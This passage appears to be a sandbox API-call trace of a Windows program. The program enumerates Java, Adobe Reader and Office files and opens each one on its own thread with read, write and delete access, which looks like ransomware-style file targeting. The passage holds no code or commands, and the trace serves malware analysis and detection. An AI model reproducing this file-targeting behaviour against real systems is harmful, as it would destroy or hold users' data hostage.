(x86)\\Java\\jre7\\lib\\zi\\Indian\\Mahe" [0173.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ce88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c0 [0173.822] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maldives", cAlternateFileName="")) returned 1 [0173.822] wcscmp (_String1="Maldives", _String2=".") returned 1 [0173.822] wcscmp (_String1="Maldives", _String2="..") returned 1 [0173.822] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8e18 [0173.822] wcscpy (in: _Dest=0x8e8e18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.822] wcscat (in: _Dest=0x8e8e18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.822] wcscat (in: _Dest=0x8e8e18, _Source="Maldives" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Maldives") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Maldives" [0173.822] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17bc [0173.823] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mauritius", cAlternateFileName="MAURIT~1")) returned 1 [0173.823] wcscmp (_String1="Mauritius", _String2=".") returned 1 [0173.823] wcscmp (_String1="Mauritius", _String2="..") returned 1 [0173.823] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0480 [0173.823] wcscpy (in: _Dest=0x8d0480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.823] wcscat (in: _Dest=0x8d0480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.823] wcscat (in: _Dest=0x8d0480, _Source="Mauritius" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mauritius") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mauritius" [0173.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xebc [0173.824] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mayotte", cAlternateFileName="")) returned 1 [0173.824] wcscmp (_String1="Mayotte", _String2=".") returned 1 [0173.824] wcscmp (_String1="Mayotte", _String2="..") returned 1 [0173.824] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8788 [0173.824] wcscpy (in: _Dest=0x8e8788, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.824] wcscat (in: _Dest=0x8e8788, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.824] wcscat (in: _Dest=0x8e8788, _Source="Mayotte" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Mayotte" [0173.824] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1348 [0173.825] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 1 [0173.826] wcscmp (_String1="Reunion", _String2=".") returned 1 [0173.826] wcscmp (_String1="Reunion", _String2="..") returned 1 [0173.826] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8bc0 [0173.826] wcscpy (in: _Dest=0x8e8bc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian" [0173.826] wcscat (in: _Dest=0x8e8bc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\" [0173.826] wcscat (in: _Dest=0x8e8bc0, _Source="Reunion" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Reunion") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Reunion" [0173.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8bc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1988 [0173.827] FindNextFileW (in: hFindFile=0x93b938, lpFindFileData=0x92ac90 | out: lpFindFileData=0x92ac90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 0 [0173.827] FindClose (in: hFindFile=0x93b938 | out: hFindFile=0x93b938) returned 1 [0173.828] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92ac90) returned 1 [0173.828] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f1678) returned 1 [0173.828] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f4a0) returned 1 Thread: id = 5301 os_tid = 0x870 [0164.256] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\met")) returned 0x20 [0170.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET", dwFileAttributes=0x20) returned 0 [0170.428] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\met"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0170.428] GetLastError () returned 0x5 [0170.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\MET", dwFileAttributes=0x20) returned 0 [0170.428] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff488) returned 1 Thread: id = 5311 os_tid = 0x89c [0164.262] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx")) returned 0x20 [0164.262] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0164.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\services\\services.asfx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.262] GetLastError () returned 0x5 [0164.262] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Services\\Services.asfx", dwFileAttributes=0x20) returned 0 [0164.262] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8550) returned 1 Thread: id = 5343 os_tid = 0x1058 [0164.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam")) returned 0x20 [0164.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM", dwFileAttributes=0x20) returned 0 [0164.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.693] GetLastError () returned 0x5 [0164.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM", dwFileAttributes=0x20) returned 0 [0164.693] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c759a8) returned 1 Thread: id = 5344 os_tid = 0x105c [0164.478] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp")) returned 0x20 [0166.998] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP", dwFileAttributes=0x20) returned 0 [0166.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.esp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.998] GetLastError () returned 0x5 [0166.998] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ESP", dwFileAttributes=0x20) returned 0 [0166.998] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97bb78) returned 1 Thread: id = 5345 os_tid = 0x1060 [0164.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq")) returned 0x20 [0167.021] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ", dwFileAttributes=0x20) returned 0 [0167.021] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.euq"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.021] GetLastError () returned 0x5 [0167.021] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.EUQ", dwFileAttributes=0x20) returned 0 [0167.021] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8550) returned 1 Thread: id = 5346 os_tid = 0x1064 [0164.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra")) returned 0x20 [0167.020] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA", dwFileAttributes=0x20) returned 0 [0167.020] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.fra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.020] GetLastError () returned 0x5 [0167.020] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.FRA", dwFileAttributes=0x20) returned 0 [0167.020] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8a20) returned 1 Thread: id = 5347 os_tid = 0x9ac [0164.479] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita")) returned 0x20 [0167.019] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA", dwFileAttributes=0x20) returned 0 [0167.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.019] GetLastError () returned 0x5 [0167.019] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA", dwFileAttributes=0x20) returned 0 [0167.019] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c86b0) returned 1 Thread: id = 5348 os_tid = 0x1068 [0164.480] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn")) returned 0x20 [0167.018] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN", dwFileAttributes=0x20) returned 0 [0167.018] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.018] GetLastError () returned 0x5 [0167.018] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN", dwFileAttributes=0x20) returned 0 [0167.018] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c8290) returned 1 Thread: id = 5349 os_tid = 0x106c [0164.480] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor")) returned 0x20 [0167.017] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR", dwFileAttributes=0x20) returned 0 [0167.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.kor"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.017] GetLastError () returned 0x5 [0167.017] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.KOR", dwFileAttributes=0x20) returned 0 [0167.017] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c9470) returned 1 Thread: id = 5363 os_tid = 0x10a8 [0164.508] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn")) returned 0x20 [0165.739] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN", dwFileAttributes=0x20) returned 0 [0165.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.739] GetLastError () returned 0x5 [0165.739] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN", dwFileAttributes=0x20) returned 0 [0165.740] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae9c8) returned 1 Thread: id = 5404 os_tid = 0x11d4 [0164.710] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml")) returned 0x20 [0167.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML", dwFileAttributes=0x20) returned 0 [0167.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.br.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.279] GetLastError () returned 0x5 [0167.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.BR.XML", dwFileAttributes=0x20) returned 0 [0167.280] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934d08) returned 1 Thread: id = 5414 os_tid = 0x1204 [0164.828] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.security")) returned 0x20 [0165.826] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security", dwFileAttributes=0x20) returned 0 [0165.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\java.security"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.826] GetLastError () returned 0x5 [0165.826] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\java.security", dwFileAttributes=0x20) returned 0 [0165.826] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfd00) returned 1 Thread: id = 5415 os_tid = 0x1208 [0164.829] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javafx.policy")) returned 0x20 [0165.827] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy", dwFileAttributes=0x20) returned 0 [0165.827] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javafx.policy"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.827] GetLastError () returned 0x5 [0165.827] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javafx.policy", dwFileAttributes=0x20) returned 0 [0165.828] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d1080) returned 1 Thread: id = 5416 os_tid = 0x120c [0164.830] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javaws.policy")) returned 0x20 [0165.828] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy", dwFileAttributes=0x20) returned 0 [0165.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.829] GetLastError () returned 0x5 [0165.829] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\javaws.policy", dwFileAttributes=0x20) returned 0 [0165.829] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8cfe00) returned 1 Thread: id = 5417 os_tid = 0x1210 [0164.834] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar")) returned 0x20 [0165.829] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar", dwFileAttributes=0x20) returned 0 [0165.830] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.830] GetLastError () returned 0x5 [0165.830] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\local_policy.jar", dwFileAttributes=0x20) returned 0 [0165.830] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c509f0) returned 1 Thread: id = 5451 os_tid = 0x12a4 [0165.407] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr")) returned 0x20 [0165.408] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR", dwFileAttributes=0x20) returned 0 [0165.408] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\flash.ukr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0165.408] GetLastError () returned 0x5 [0165.408] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\Flash.UKR", dwFileAttributes=0x20) returned 0 [0165.408] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f5298) returned 1 Thread: id = 5452 os_tid = 0x12a8 [0165.409] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_ukr\\mcimpp.ukr")) returned 0x20 [0165.409] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_UKR\\MCIMPP.UKR", dwFileAttributes=0x20) returned 0 [0165.410] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 